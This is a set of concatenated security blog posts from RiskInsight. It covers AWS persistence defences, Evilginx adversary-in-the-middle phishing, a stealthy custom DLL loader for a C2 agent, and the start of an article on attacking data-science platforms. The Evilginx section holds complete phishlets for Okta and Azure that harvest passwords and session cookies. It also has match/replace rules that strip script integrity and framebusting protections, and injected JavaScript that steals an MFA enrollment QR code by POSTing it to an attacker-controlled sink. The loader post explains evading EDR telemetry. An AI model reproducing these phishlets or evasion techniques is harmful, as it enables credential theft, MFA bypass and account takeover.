A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.

EDR

Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.

A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.

Backup and logging

Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.

Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.

Cet article AWSDoor: Persistence on AWS est apparu en premier sur RiskInsight.

Usually, threat actors try to send malicious documents such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, these types of techniques are less and less used.

Today, threat actors do not perform phishing to get a direct initial access to the company network, but to retrieve the digital identity of a user: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.

To limit such attacks, companies started enforcing MFA to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.

Phishing 101

IDP, cookies and phishing

The MFA protection implemented by companies is a good way to limit the impact of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.

However, today the MFA is usually only asked during the first authentication: once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.

In the most common web IDPs such as Azure, Google or Okta, this ticket is represented by the cookies. When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.

In a nutshell, the user IDP cookies represent the user digital identity. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.

Evilginx

Evil proxy

In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, the user will be aware that something wrong is happening.

That’s where Evilginx comes into play. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:

I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.

Phislets 101

For example, during the authentication to Azure, the following domains are used:

• login.microsoftonline.com
• www.microsoftonline.com
• aadcdn.microsoftonline.com

The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.

Evilginx uses specific configuration files known as phishlets to handle such cases. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:

<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

With the phishlet, Evilginx will know that the domain login.microsoftonline.com must be rewritten and will send back to the target the following modified page:

<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

With such match and replace pattern, Evilginx is able to trap the user inside the malicious application even if the IDP tries to redirect the user to a specific page.

Auto-replace limits

The Evilginx phishlet auto-replace has its limits. Indeed, sometime the server does not directly hardcode the domain in the page but builds it through a JS script.

In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.

CORS

In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script dynamically builds the redirection URL: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it fails due to CORS protection (trying to reach okta.com/idp/idx/introspect from evilginx.com):

By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:

Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=

With this simple indication, Evilginx will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.

JS integrity

When modifying the JS file or any other file through Evilginx, it can cause troubles due to the script integrity hash:

<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>

Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.

But, with Evilginx, we can also modify the html page to remove the integrity check:

Replace: integrity="[^"]*"
By: integrity=''

Redirect URI validation

The last point is the Redirect URI validation. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:

/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-xxxxx.okta.com[...]

With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.

This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain, Okta will show the following error:

The redirect URI is dynamically built by Okta by taking the login domain and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:

Using Evilginx, it is possible to use the match/replace pattern to reset the redirect_uri to the right URI:

Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Basic phishlets

Okta

min_ver: '3.0.0'
name: 'okta-wavestone'

params:
  - name: okta_orga
    default: ''
    required: true
  - name: redirect_server
    default: https://google.com

proxy_hosts:
  - phish_sub: '{okta_orga}'
    orig_sub: '{okta_orga}'
    domain: okta.com
    session: true
    is_landing: true
    auto_filter: true

  - phish_sub: ok14static
    orig_sub: ok14static
    domain: oktacdn.com
    session: false
    is_landing: false
    auto_filter: true

  - phish_sub: login
    orig_sub: login
    domain: okta.com
    session: false
    is_landing: false
    auto_filter: true

sub_filters:
  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'array"\);var t='
    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
    mimes: ['application/javascript']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: integrity="[^"]*"
    replace: integrity=''
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'mainScript\.integrity'
    replace: 'mainScript.inteegrity'
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
    mimes: ['application/javascript']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

  - triggers_on: 'ok9static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

auth_tokens:
  - domain: '{okta_orga}.okta.com'
    keys: ['idx:always']

credentials:
  username:
    key: ''
    search: '"identifier":"([^"]*)"'
    type: 'json'

  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

login:
  domain: '{okta_orga}.okta.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

Azure

name: 'o365-wavestone'
min_ver: '3.0.0'

proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: true
    is_landing:false

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msftauth.net'
    session: false
    auto_filter: true
    is_landing:false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

auth_urls:
  - '/common/SAS/ProcessAuth'
  - '/kmsi'

login:
  domain: 'login.microsoftonline.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'
  - path: '/common/SAS'
    search:
      - {key: 'rememberMFA', search: '.*'}
    force:
      - {key: 'rememberMFA', value: 'true'}
    type: 'post'

Automate critical actions

Adding MFA device

Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.

This is usually done by adding an additional MFA device to the user account.

For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, as long as the attacker has access to the user session, he is able to directly register his malicious MFA device.

However, on some IDP such as Okta, the MFA registration asks for an MFA validation. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.

What could be interesting is to add this reauthentication step during the phishing attack:

1. The user authenticates a first time to access his session
2. Evilginx steals the user cookies
3. Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup
4. The user revalidates his MFA thinking the first one failed
5. Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process

All these actions can be automated through Evilginx by modifying the JS scripts.

First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/app/UserHome']
    script: |
      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}

This script will be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite redirection loop at the end of his authentication flow…

Then, a new JS code is added to the /help/login page. This script is used to enumerate the available MFA technologies available and configured:

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/help/login']
    script: |
      function u4tyd783z(){
        fetch('/api/v1/authenticators')
        .then((data) => {
            data.json().then((jData)=>{
                let id = undefined
                for(let elt of jData){
                    if(elt.key == 'okta_verify'){
                        id = elt.id
                    }
                }
                if(id == undefined){
                    return
                }
                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
            })
        })
      }
      u4tyd783z();

The script chooses the Okta Verify authentication method and redirects the user to the setup page.

On the setup page, a new JS script is injected. This JS script is used to automate the registration steps to only let the MFA validation form:

- trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/idp/authenticators/setup/.*']
    script: |
      function u720dhfn2(){
        if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
            document.querySelectorAll('.button.select-factor.link-button')[0].click()
            document.querySelectorAll('body')[0].style.display = 'none'
            a = true
        }
        if(document.querySelectorAll('a.orOnMobileLink').length > 0){
            document.querySelectorAll('a.orOnMobileLink')[0].click()
            b = true
        }
        if(document.querySelectorAll('img.qrcode').length > 0){
            fetch("{qrcode_sink}", {
              method: 'POST',
              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
            }).then(()=>{
              document.location='{redirect_server}'
            }).catch(()=>{
              document.location='{redirect_server}'
            })
            clearInterval(myInterval)
        }
      }
      var a = false
      var b = false
      var myInterval = setInterval(function(){u720dhfn2()}, 10)

Once the user has validated the MFA authentication, the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.

The attacker can then retrieve the QRCode and enroll his own device.

Pushing the limit

Okta with Azure authentication

Some companies can link two IDP together: Okta redirects to Azure and provisions the user when they first login.

In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.

The previous phislets must be merged in order to capture both authentications. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.

Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:

<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>

Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.

Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.

In a nutshell, in this specific case, it is possible to simply merge the two previous phishlets.

Frame buster

More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.

The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.

Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:

The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.

While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.

Self == top

The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.

With Evilginx, it is possible to remove the check with a simple match and replace pattern:

Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;

This modification ensures that the iframe is recognized as the top frame.

Target=”_top”

The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.

This can be done by adding the target=”_top” attribute in the form. It is then possible to remove this protection with Evilginx:

Replace: method="post" target="_top"
By: method="post"

Framework specific

Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.

The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.

In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:

Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}

HTTP header

The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.

It is possible to simply remove this header with Evilginx:

Replace: X-Frame-Options: DENY
By: Test: Test

Final phishlet

The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:

• Retrieve the Azure credentials
• Retrieve the Azure cookies
• Retrieve the Okta cookies
• Retrieve the MFA enrollment QRCode for Okta

Example of browser in browser phishing on a company using Okta/Azure

The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.

But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.

The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.

Cet article Phishing: Pushing Evilginx to its limit est apparu en premier sur RiskInsight.

As everyone knows, when developing a C2 and the corresponding agent, OPSEC must be the priority, so the agent code must rise as few events (ETW) as possible.

The most common way to increase OPSEC when using external DLL is to perform dynamic loading to avoid getting the loaded DLL name in the source code. This can be done using the LoadLibrary Win32 API.

This API allows a program to load a specific DLL from the disk. However, the drawback is that LoadLibrary raises several events and telemetry an EDR can analyze to detect the malicious C2 agent.

In order to avoid this kind of event, I chose to implement a custom LoadLibrary that will not raise such events.

State of the art – LoadLibrary

I will not go too much deeper in the implementation details, as this has already been documented several times in blogposts[1] or books (Windows Internals Part 1).

The goal here is to create a function that takes as an input a DLL path and loads the DLL in memory. Doing it manually has a lot of advantages:

• Limits ETW and Microsoft telemetry
• More choices in the way sections are allocated and written.
• Possibility to hide malicious loaded DLL when not used.

However, there are a lot of edge cases that could make the custom loader unreliable as it was mentioned in the SpecterOps blogpost PerfectLoader[2]:

The quality of these reimplementations may be judged by comparing the feature set of these custom loaders against what the OS’s native loader supports. As such, the native OS loader may be considered a “perfect loader,” but it should not be considered the only perfect loader.

Basic implementation

The basic implementation consists in just copying the DLL image in memory, performing relocation, importing imported modules and resolving the IAT entries.
The different steps can be found in the Windows Internal Part 1 book (page 178) and a more described implementation can be found here[3].
This is the most common way to load a DLL. Once the DLL is loaded as-is in memory, it can be used for basic usages. However, any use of standard Win32API against this DLL such as GetModuleHandle or GetProcAddress will fail.
This implementation does not implement any additional feature provided by the Windows DLL loader: it just performs a textbook DLL loading.

Fixing compatibility with Microsoft WIN32API

The previous implementation has the merit of working and it helped me out more times I can count. However, it is not reliable; the most important edge case being the DLL cannot be searched using GetModuleHandle or LoadLibrary.

Therefore, if the others DLL need access to the loaded DLL, they will not find it with the standard Win32API and will load it again using LoadLibrary leading to a nice ETW event: all we wanted to avoid in the first place.

Batsec[4] wrote an article[5] on how the DLL can be loaded in memory and still be compatible with the Microsoft Win32 API (at least GetProcAddress, LoadLibrary and GetModuleHandle) without raising a bunch of events.

His research shows that when a DLL is loaded by the standard Windows DLL loader, it does not just load the image in memory and the loader will perform at least two additional actions:

• Add the DLL in the PEB linked list that contains all the DLL loaded by a process.
• Create a hash identifying the DLL and adding it to another structure called LdrpHashTable

During the loading process, the DLL loader, calls the LdrpInsertDataTableEntry function. This function creates a hash identifying the DLL and adds it to the LdrpHashTable structure as shown in the following figure:

Figure 1: use of LdrpHashTable during DLL loading

This mechanism has been implemented by Microsoft to ease and speedup DLL search through a read and black binary tree. This structure allows the search of a DLL in O(log(n)) instead of O(n) with the previous linked list. This mechanism will not be explained here but can be seen in the DarkLoadLibrary project in the FindModuleBaseAddressIndex function.

Adding the DLL in the PEB linked list AND in the LdrpHashTable can be seen as fully registering the DLL and makes it known to the process.

Once this link has been established, the DLL can be searched, freed, or copied through the Win32API.

Problems with this implementation

When I saw this implementation, I thought that all my problems were solved and started reimplementing it on my side to understand and customize the process.

For a moment it worked well. All the DLL I loaded with worked out of the box and no specific event regarding the loading of an additional DLL were raised by the agent.

The troubles begin when I tried to dynamically load a specific DLL: WinHTTP.dll.

The DLL is successfully loaded, and the majority of functions worked well, but one function did not want to work: WinHTTPOpen.

This function is used to initialize the environment and prepare the structures that will be used by the other network API used to perform an HTTP connection. So, without this function, it was not possible to perform any HTTP communication through the WinHTTP API.

When I called the WinHTTPOpen function, the call failed with the error code 126. This error code is related to a missing DLL which does not make any sense as all the DLL were successfully loaded.

Dive into WinHTTP.DLL madness

Macroscopic investigation

The error code hinted a problem with a DLL that has not been loaded, so my first reflex was to monitor the process using Procmon, looking for an imported DLL that could have failed to be loaded.

However, even when comparing the DLL loaded with the standard LoadLibrary and the ones loaded through the custom loader, no differences could explain the error code 126.

Microscopic investigation

For a moment I let this problem aside and continue the development of the agent, but it still bothered me, and I had no idea how I could debug it. Until one day, I took my sanity away, and decided to just decompile the WinHTTP.DLL and debug it step by step until I saw the error code 126 popping in one of the registers.

Finding the initial problem

With the step by step debug, I quickly found that the problem occurred in the INTERNET_SESSION_HANDLE_OBJECT::SetProxySettings function in the WINHTTP.DLL file.

Following the call stack leads me to the following functions:

• INTERNET_HANDLE_BASE::SetProxySettingsWithInterfaceIndex
• WxReferenceDll
• TakeSingleDllRef

In the TakeSingleDllRef I found the following piece of code:

Figure 2: TakeSingleDllRef code

The 126 error code I got when running the WinHTTPOpen function is generated by the GetModuleHandleExA function.

This function is usually used to retrieve the base address of an already loaded DLL by its DLL name. However, here, two unusual parameters are given to this API:

• dwFlags: 4 instead of 2
• dllName: the address of the current function instead of the name of the DLL to search for.

Looking at the Microsoft documentation shows that dwFlags 4 is named GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS and thus explains why an address is given instead of a DLL name.

Indeed, when this flag is passed to the GetModuleHandleExA, the function will not search for the DLL base address by its name but will find the DLL that contains the given function.

Narrow down the problem

The problem comes from the GetModuleHandleExA function. This is interesting because during my tests the custom loader worked fine with GetModuleHandle (that call GetModuleHandleEx under the hood with dwFlags 2 instead of 4).

So, I decompiled the KERNELBASE.DLL to find the difference of implementation when dwFlags 4 is passed to GetModuleHandleEx.

The callstack shows that GetModuleHandleEx called the BasepGetModuleHandleExW function.

Figure 3: BasepGetModuleHandleExW code

The first part of the BasepGetModuleHandleExW function explains the difference of behavior between GetModuleHandle and GetModuleHandleEx with dwFlags set to 4.

When the dwFlags is set to 4, the function uses the RtlPcToFileHeader to find the base address of the module related to the function passed as parameters.

A step-by-step debug shows that this function returns the right value for a DLL loaded with LoadLibrary but always return 0 for a DLL loaded with the custom DLL Loader.

Analysis of RtlPcToFileHeader

If I had to implement a function that, given a specific address, returns the base address of the image containing the function, I would naturally use the Win32Api VirtualQuery. So, I did not see why this function could fail.

The RtlPcToFileHeader indeed use VirtualQuery to get the base address:

Figure 4: use of VirtualQuery inRtlPcToFileHeader

However, before getting in this execution branch it performs some additional tests :

Figure 5: Tests performed in RtlPcToFileHeader

If the execution flow goes into the if(!v10), the function will return 0, otherwise, it has a chance to go through the VirtualQuery and returns the right base address.

When this function is used on a DLL loaded by the custom loader, it always falls in the wrong code path returning 0.

LdrpInvertedFunctionTable

The test performed by the RtlPcToFileHeader function is based on an analysis of the LdrpInvertedFunctionTable.

This table that can be parsed using the two following structures,

Figure 6: Structure used to parse the inverted table

seems to be used to handle SEH exceptions.

So, it seems that the custom loader fails to register these exceptions. Indeed, using WinDBG with the DLL loaded through LoadLibrary, it is possible to see that an entry corresponding to the WINHTTP.DLL file has been registered:

Figure 7: Analysis of the inverted table with WinDBG

The same test with the custom loaded DLL shows that no new entry were added to the LdrpInvertedFunctionTable.

Solutions

The messy one

The root cause of the problem is that when loading the DLL, no additional entries are added to the LdrpInvertedFunctionTable leading to a hard failure on the RtlPcToFileHeader function.

However, the main cause of the problem is that GetModuleHandleEx uses RtlPcToFileHeader.

While adding a new entry to the LdrpInvertedFunctionTable can be a hard problem, hijacking the GetModuleHandleEx function when loading the DLL is an easy one.

Indeed, during the DLL loading process, we have to manually resolve the exported function address, so it is possible to hijack the entry related to GetModuleHandleExA.

The following code can be used instead of GetModuleHandleExA:

Figure 8: custom GetModuleHandleExA code

This code iterates over the DLL registered in the PEB linked list, check if the given function is located in the DLL and returns the base address of the related DLL.

This solution worked for the WinHTTP.DLL but what about other use cases or other functions based on RtlPcToFileHeader? We would have to remap them explicitly every time which is not the best way to operate.

The elegant one

When two things have to work well together, we have to comply with the rules of the part we are integrating to. In this case, the custom loader should implement the feature that adds the different entries in the LdrpInvertedFunctionTable.

Locate the use of RtlInsertInvertedFunctionTable

The function RtlInsertInvertedFunctionTable can be used to add an entry in the LdrpInvertedFunctionTable. So, if this is performed by the Windows DLL loader, it should be possible to find a reference of this function in the LoadLibrary callstack.

Indeed, the call to the RtlInsertInvertedFunctionTable is found in the LdrpProcessMappedModule function:

Figure 9: use of RtlInsertInvertedFunctionTable during DLL loading

This function is called with a security cookie generated using the LdrInitSecurityCookie function:

Figure 10: Use of LdrInitSecurityCookie

While the LdrInitSecurityCookie is an exported function, the RtlInsertInvertedFunctionTable is not. So, if we want to use this function, there are two choices:

• Using a pattern recognition algorithm to find the function in the NTDLL knowing that the pattern can change between each Windows build version (this technique has been implemented here[6])
• Redeveloping the function

I’m not a fan of pattern recognition because it is an unreliable technique that must be maintained over each Windows build version.

Analysis of the RtlInsertInvertedFunctionTable function

Decompiling the RtlInsertInvertedFunctionTable shows the following code :

Figure 11: RtlInsertInvertedFunctionTable function

Among these functions, the only ones exported are the RtlAcquireSRWLockExclusive and RtlReleaseSrwLockExclusive. However, the other ones are quite simple to implement:

• RtlCaptureImageExceptionValues retrieves the image ExportDirectory
• LdrProtectMrData performs a VirtualProtect on the .mrdata section
• RtlpInsertInvertedFunctionTableEntry populates the RTL_INVERTED_FUNCTION_TABLE_ENTRY and adds the new element to the RTL_INVERTED_FUNCTION_TABLE LdrpInvertedFunctionTable.

The only problem now is there is not any exported function that allows the retrieval of the LdrpInvertedFunctionTable object.

Locate the RtlInsertInvertedFunctionTable

So, against all my principle, some pattern recognition algorithms need to be coded in order to locate the LdrpInvertedFunctionTable structure. However, finding this structure will be easier and more reliable than finding some instructions sequences in the whole NTDLL .text section.

Indeed, there are some inputs that can be used to narrow down the lookup and avoid false positive:

• The structure is located in the .mrdata
• The MaxCount field must be less than 512
• The Count field must be less than max count and more than 0

The LdrpInvertedFunctionTable is located in the NTDLL .mrdata. This section is a specific section that is configured with ReadOnly protection as the .rdata. However, this section protection is often changed from ReadOnly to ReadWrite.

This section is used to store sensitive structure that can be modified by the OS under specific circumstances (enhance the ReadWrite protection) but must be protected against programmatic error that could write arbitrary data in it (enhance the ReadOnly protection at runtime).

Then, some conditions on the different entries can be verified to ensure that the address tested represents the LdrpInvertedFunctionTable and is not a false positive. For each entry:

• The exception directory address must be contained in the DLL image
• The exception directory address must match with the one computed from the DLL base image
• The exception directory size must match with the one computed from the DLL base image

These conditions do not ensure the unicity of the solution, but I don’t think random garbage in memory could verify all these conditions, especially the last three.

The following function can be used to locate the LdrpInvertedFunctionTable:

Figure 12: Code looking for LdrpInvertedFunctionTable

We now have everything we need to implement the RtlInsertInvertedFunctionTable.

Implement the RtlInsertInvertedFunctionTable

The RtlInsertInvertedFunctionTable can be implemented as the following:

• Locate the LdrpInvertedFunctionTable as explained before
• Unprotect the .mrdata section from ReadOnly to ReadWrite using VirtualProtect
• Locate the index where the new DLL entry must be stored (these entries are sorted by image base address)
• Write the RTL_INVERTED_FUNCTION_TABLE_ENTRY element in the LdrpInvertedFunctionTable

Figure 13:  RtlpInsertInvertedFunctionTableEntry implementation

This code can be added to the DarkLoadLibrary[7] project to get a fully functional DLL Loader.

Conclusion

When developing a custom C2, the most difficult part is not getting something functional. This is mainly basic development. The most difficult and interesting part is to get something OPSEC.

This part implies a deep understanding of Windows internals in order to understand what IOC will be raised, how it can be bypassed and how this custom part can be adapted to be fully integrated with the native Windows ecosystem.

This blogpost does not only show how a specific part of the Windows DLL loader can be reimplemented, but how IOC can be hunted, and how the Windows internals can be reversed to adapt our work to the ecosystem.

[1] https://otterhacker.github.io/Malware/Reflective DLL injection.html

[2] https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa

[3] https://otterhacker.github.io/Malware/Reflective DLL injection.html

[4] https://twitter.com/_batsec_

[5] https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/

[6] https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c

[7] https://github.com/bats3c/DarkLoadLibrary

Cet article LoadLibrary madness: dynamically load WinHTTP.dll est apparu en premier sur RiskInsight.

In an information system, applications are not equal. Some of them can be used as an entry point in the information system, others are used as compromise accelerators, and some are saved for post-exploitation. These applications are called high-value targets.

For example, during a standard attack, the in-house developed web application will be targeted first as they offer an important attack surface and often allow remote code execution on a domain join servers. The CICD infrastructures are exploited to easily rebound on the internal network through the infection of CICD pipeline or the discovery of additional secrets. The ADCS is highly leveraged to speed up the domain compromise through the set of ESCXX vulnerabilities.

The typology of applications in each category has quietly been the same for several years even if some new challengers have appeared over the years such as the SCCM application, the EDR console, etc. But because the same techniques are used for several years now, companies started securing these elements making their compromise and exploitation more difficult.

It is time to explore new horizons and renew this old stuff with a new set of applications.

In this article, we will look at the DataScience application. With the rise of BigData, more and more companies are integrating DataScience infrastructure on their information system. We will see how these applications can be exploited to:

• Achieve remote code execution
• Move laterally on the internal network
• Spread malware among users
• Ease access persistence
• Exploit datalake for datamining

2. Initial Access on the DataScience Application

There are a lot of different DataScience applications. In this article we will mainly focus on the Spotfire and the Dataiku applications as they are either the most popular or with the wind in their sails.

As DataScience is still new in companies, these applications are often deployed and maintained by the business and not by the IT department.

Having an application out of the standard IT process (Shadow IT) is often interesting for an attacker. Indeed, when an application is set up out of the standard IT process, it often does not implement the standard security rules enforced by the company. So, you will surely see:

• Application exposed directly on the internet without additional protection
• Application not set up in a specific DMZ with a direct access to the internal network
• Application with a local authentication instead of the global company authentication mechanism
• Lack of hardening in the deployment process and lack of security patch deployment

